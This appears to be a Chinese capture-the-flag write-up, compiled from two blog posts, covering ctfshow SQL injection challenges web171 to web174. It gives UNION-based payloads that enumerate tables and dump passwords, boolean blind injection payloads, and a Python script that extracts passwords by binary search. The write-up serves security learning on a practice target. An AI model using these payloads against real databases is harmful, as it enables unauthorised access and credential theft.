From:
https://blog.csdn.net/qq_61237064/article/details/121421239
https://blog.csdn.net/weixin_48083470/article/details/119034415
1、web171
在网页中给出的用户表中可以看到ID=3后,数据无法显示,这说明有三个字段数
判断字段后,首先查询数据库名字: ctfshow_web
1' union select 1,2,database()--+
得到数据库后查询ctfshow_web
中的表名: ctfshow_user
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+
得到表名后查询 ctfshow_user
里的所有列名:id,username,password
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+
查询列名password中的数据即可:
1' union select 1,2,group_concat(password) from ctfshow_user--+
2、web172
同web171
3、web173
同web171
4、web174
查看返回逻辑,发现过滤了flag字符和数字,尝试布尔盲注
preg_match
执行匹配正则表达式
json_encode
对变量进行 JSON 编码
开始盲注
数据库长度判断
1' and length(database())<12 %23
在12的时候有显示,但是11就没有了说明,长度为11
数据库名字判断
1' and ascii(substr(database(),1,1))=99%23
第一个字符为c
1' and ascii(substr(database(),2,1))=116%23
第二个为t
ctfshow_web
数据库表名判断
1' and length((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1))=13 --+ //第一行表,长度为13
1' and ascii(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),12,1))=114--+ //第12个字符为r
ctfshow_user4
数据库列名判断
1' and length((select column_name from information_schema.columns where table_name='ctfshow_user4' limit 2,1))=8--+ //第三列的长度为8
1' and ascii(substr((select column_name from information_schema.columns where table_name='ctfshow_user4' limit 2,1),8,1))=100--+ //列名的第8位为d
password
password列下的内容
1' and length((select password from ctfshow_web.ctfshow_user4 limit 0,1))>1--+ //字符长度判断
1' and ascii(substr((select password from ctfshow_web.ctfshow_user4 limit 0,1),1,1))>100--+ //字符内容判断
脚本
import requests
url = "xxxx/?id=1' and "
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) // 2
payload = f'1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- ' #f是将{i}和{mid}格式化输出
r = requests.get(url + payload)
if "admin" in r.text: #通过前面回显信息“admin”来判断ascii的值是否比mid的值大
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)